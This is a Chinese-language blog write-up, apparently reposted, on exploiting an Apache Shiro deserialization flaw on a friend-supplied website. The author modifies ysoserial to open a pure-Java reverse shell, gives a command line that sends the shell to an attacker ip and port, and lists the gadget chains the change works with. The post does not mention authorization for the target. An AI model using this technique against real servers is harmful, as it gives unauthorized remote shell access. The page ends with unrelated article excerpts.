ac2100 反彈shell無法粘貼_記一次突破反彈shell

背景

某天閑著無聊,小伙伴發來一個某網站,說只能執行命令,不能反彈shell。

測試

對著目標站點一頓測試。

發現確實存在shiro反序列化,并且存在可以利用的gadget。利用

發現確實可以執行命令,但是我們執行反彈的時候。

反彈不回來,emmm。

查看各種系命令以及分析。

發現是一個精簡的Linux,經常用于docker環境的搭建。

并沒有bash環境。

使用sh命令反彈結果一樣,之后嘗試了各種反彈的方法,一言難盡。

所以我們需要一種新的反彈方法,利用java直接創建一個socket反彈。ysoserial

ysoserial是一款在Github開源的知名java 反序列化利用工具,里面集合了各種java反序列化payload。

源碼下載地址:

https://codeload.github.com/frohoff/ysoserial/zip/master

在很多java類的反序列化攻擊場景中會利用到該工具。

例如:apache shiro反序列化,會使用ysoserial生成反序列化語句,再使用key加密,發送攻擊payload。

如下python腳本,就是利用ysoserial生成反序列化語句,再用key加密生成cookie。

目的

各種各樣的反彈shell注入bash、sh、perl、nc、python等等,都比較依賴目標系統的環境和操作系統類型等等,如果可以直接利用java創建一個socket反彈shell則可以無需關心這些環境直接反彈shell。ysoserial分析

在執行ysoserial的時候一般使用的命令是java -cp ysoserial.jar ?/某個payload/ /命令/

打開源碼分析對應的payload類執行過程,如CommonsCollections2。

在執行該類的時候,運行payloadrunner類的run方法,來執行本類的class文件,再加上接收的參數,跟入payloadrunner類。

這里會調用payload中的getObject方法傳入要執行的命令,命令是接收的輸入或者是getDefaultTestCmd(),也就是說我們如果不輸入命令,他會執行以下默認命令。Windows:calcMacOS:calculatorLinux:gnome-calculator\kclac

如果輸入了命令會執行自定義命令,接下來會執行getObject方法()來生成payload,跟入對應類的getObject方法。

getObject方法中,調用Gadgets類中的createTemplatesImpl方法生成臨時的java字節碼文件,跟入對應的方法。

ysoserial改造

可以看到作者在命令獲取處已經留下了注釋。

待做:也可以做一些有趣的事情,比如注入一個純JavaRev/BindShell來繞過幼稚的保護。TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

一般情況我們在ysoserial后面寫的命令調用的是java.lang.Runtime.getRuntime().exec()方法來執行命令,寫死了,此處我們可以進行改造。

在原來的代碼基礎上寫成:

這樣我們再重新打包ysoserial文件再執行命令時使用如下格式。java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 'rebound:ip port'

可以直接獲得一個反彈shell。生成payload利用

發送。

Bingo,得到一個反彈shell。

ysoserial改造總結

由于不是所有的payload在構造時都調用了Gadgets.createTemplatesImpl,所以只有以下幾種適用于以上修改。CommonsBeanutils1CommonsCollections2CommonsCollections3CommonsCollections4Hibernate1JavassistWeld1JBossInterceptors1Jdk7u21JSON1ROMESpring1Spring2Vaadin1

此方法不依賴于目標操作系統和組件,可以直接利用java創建反彈shell。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/535045.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/535045.shtml
英文地址,請注明出處:http://en.pswp.cn/news/535045.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java三大特征 重載與重寫的區別

💡涉及的知識點速通🛫 OOP的三大特征都是什么?🪂 什么是封裝?🪂 什么是繼承?🪂 什么是多態?🛫 關于構造器你都知道什么?🛫 關于類的源文件都需要知道什么?🛫 重載和重寫都是什…

發生身份驗證錯誤_Python MySQL8.0 錯誤

Python MySQL8.0 錯誤:authentication plugin calling_sha2_password is not supported.Python3 進行到 python3 mysql(mysql-connector),然后安裝mysql-8.0.16,照著示例程序運行 python,遇到這個大大的問題:authentic…

vue 獲取當前元素的父元素_react獲取觸發元素的屬性 e.target.dataset

我的react項目中一個應用場景就是在點擊一個元素的時候想要獲取到這個元素的屬性。代碼如下&#xff1a;renderyear()>{return(<div><div data-value"年初">年初</div> </div>);}//點擊標簽的時候觸發的函數 TagClick(e)>{console.log…

為什么要學Redis(NoSQL數據庫)

各位小伙伴們大家好&#xff0c;歡迎來到這個小扎扎的Redis 6專欄&#xff0c;在這個系列專欄中我對B站尚硅谷的Redis教程進行一個總結&#xff0c;鑒于 看到就是學到、學到就是賺到 精神&#xff0c;這波依然是血賺 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知識點速覽&…

centos常用命令_二、Docker鏡像是什么?Docker常用命令

科技奇聞 關注讓你我共同進步文章來源&#xff1a;CSDN作者&#xff1a;IronmanJayDocker常用命令1.幫助命令docker version #查看版本號docker info #顯示Docker系統信息&#xff0c;包括鏡像和容器數docker --help #查看Docker有哪些命令…

實現定時中斷_無線傳感器網絡實驗報告(二)Timer定時應用實驗

實驗二&#xff1a; Timer定時應用實驗2.1實驗目的1. 認識并了解 CC2530 定時器&#xff1b; 2. 學習定時器的基本配置與應用&#xff1b; 3. 在 ZigBee 模塊上運行定時器程序。2.2實驗原理根據數據手冊可知 CC2530 總共有 4 個定時器&#xff0c;但是定時器 2 被系統占用&…

詳析java中的關鍵字和權限修飾

&#x1f4a1;涉及的知識點速通&#x1f6eb; 關于關鍵字你都知道什么?&#x1fa82; this和super關鍵字&#x1fa82; instanceof關鍵字&#x1fa82; static關鍵字&#x1fa82; final關鍵字&#x1f6eb; 權限修飾符的作用范圍知多少?各位小伙伴們大家好&#xff0c;歡迎來…

JQ 全選后獲取選中的值_Filecoin如何創建賬戶錢包并獲取FIL測試幣

昨天"猩動力節點"加入了fielcoin的測試網絡&#xff0c;對用戶或者礦工來說&#xff0c;如何獲取代幣&#xff0c;創建錢包保護好自己的資產&#xff0c;每一個用戶來說都很關心。下面我們一起來學習如何創建賬戶錢包&#xff0c;并獲取FIL 測試代幣。在創建賬戶錢包…

Redis中 字符串的常用命令

各位小伙伴們大家好&#xff0c;歡迎來到這個小扎扎的Redis 6專欄&#xff0c;在這個系列專欄中我對B站尚硅谷的Redis教程進行一個總結&#xff0c;鑒于 看到就是學到、學到就是賺到 精神&#xff0c;這波依然是血賺 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知識點速覽&…

mac wmware 無網絡_無線網絡中常用的技術名詞

1、LAN&#xff1a;即局域網&#xff1a;是路由和主機組成的內部局域網&#xff0c;一般為有線網絡。2、WAN&#xff1a;即廣域網&#xff1a;是外部一個更大的局域網。3、WLAN(Wireless LAN&#xff0c;即無線局域網)&#xff1a;前面我們說過LAN是局域網&#xff0c;其實大多…

python界面開發webview_python在webview和activity混合頁面下怎么定位

展開全部 genymotion 模擬器&#xff1a;android 5.0.0 python 2.7 appium 1.4.16.1 1、app原生元素定位&#xff08;常用&#xff09; driver.find_element_by_id(“resourse-id”32313133353236313431303231363533e59b9ee7ad9431333363393662) driver.find_element_by_name(“…

androidstudio build tools安裝_Android Studio4.0 安裝及配置

本來打算十一月份寫的&#xff0c;結果。。。就在我備注原來的文章的時候&#xff0c;硬盤壞了。。。所以重新配置環境。。。換硬盤&#xff0c;。。。壞的太突然以至于數據都沒有備份。。。。建議大家在參考教程安裝之前先大致瀏覽一遍&#xff0c;這樣安裝的時候就會大致知道…

Redis 五大數據類型的常用命令——列表、集合、哈希、有序集合

各位小伙伴們大家好&#xff0c;歡迎來到這個小扎扎的Redis 6專欄&#xff0c;在這個系列專欄中我對B站尚硅谷的Redis教程進行一個總結&#xff0c;鑒于 看到就是學到、學到就是賺到 精神&#xff0c;這波依然是血賺 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知識點速覽&…

python工程師面試寶典_2019年,Python工程師必考的6個面試題,Python面試題No5

第1題&#xff1a;Python里面如何實現tuple和list的轉換&#xff1f; 函數tuple(seq)可以把所有可迭代的(iterable)序列轉換成一個tuple, 元素不變&#xff0c;排序也不變 list轉為tuple&#xff1a; temp_list [1,2,3,4,5] 將temp_list進行強制轉換&#xff1a;tuple(temp_li…

aop注解配置切點 spring_springboot aop 自定義注解方式實現一套完善的日志記錄

一&#xff1a;功能簡介本文主要記錄如何使用aop切面的方式來實現日志記錄功能。主要記錄的信息有: 操作人&#xff0c;方法名&#xff0c;參數&#xff0c;運行時間&#xff0c;操作類型(增刪改查)&#xff0c;詳細描述&#xff0c;返回值。二&#xff1a;項目結構圖如果想學習…

抽象類、接口的區別和相似點

各位小伙伴們大家好&#xff0c;歡迎來到這個小扎扎的《Java核心技術 卷Ⅰ》筆記專欄&#xff0c;在這個系列專欄中我將記錄淺學這本書所得收獲&#xff0c;鑒于 看到就是學到、學到就是賺到 精神&#xff0c;這波簡直就是血賺 &#x1f4a1;涉及的知識點速通&#x1f6eb; abs…

c標簽判斷true false jsp_Java學習知識點:小白如何掌握JSP技術?

今天千鋒廣州小編就給大家分享零基礎如何掌握JSP技術&#xff0c;下面一起來看看吧!一、Java初級開發之jsp概述1.關于jspJavaServer Pages簡稱jsp&#xff0c;從“server”這個詞可以看出&#xff0c;這其實也是一門java服務端技術&#xff0c;其實可以簡單的把jsp認為是servle…

python語言保留字的特點_python保留字及其說明

原博文 2019-07-14 22:05 ? 保留字 說 明 and 用于表達式運算&#xff0c;邏輯與操作 as 用于類型轉換 assert 斷言&#xff0c;用于判斷變量或條件表達式的值是否為真 break 中斷循環語句的執行 class 用于定義類 continue 繼續執行下一次循環 ...011647 相關推薦 2019-12-19…

使用Java操作Redis的兩種方式Jedis、RedisTemplate

各位小伙伴們大家好&#xff0c;歡迎來到這個小扎扎的Redis 6專欄&#xff0c;在這個系列專欄中我對B站黑馬的Redis教程進行一個總結&#xff0c;鑒于 看到就是學到、學到就是賺到 精神&#xff0c;這波依然是血賺 ┗|&#xff40;O′|┛ &#x1f4a1;Redis知識點速覽&#…

python提取數據庫數據_Python如何讀取MySQL數據庫表數據

本文實例為大家分享了Python讀取MySQL數據庫表數據的具體代碼&#xff0c;供大家參考&#xff0c;具體內容如下 環境&#xff1a;Python 3.6 ,Window 64bit 目的&#xff1a;從MySQL數據庫讀取目標表數據&#xff0c;并處理 代碼&#xff1a; # -*- coding: utf-8 -*- import p…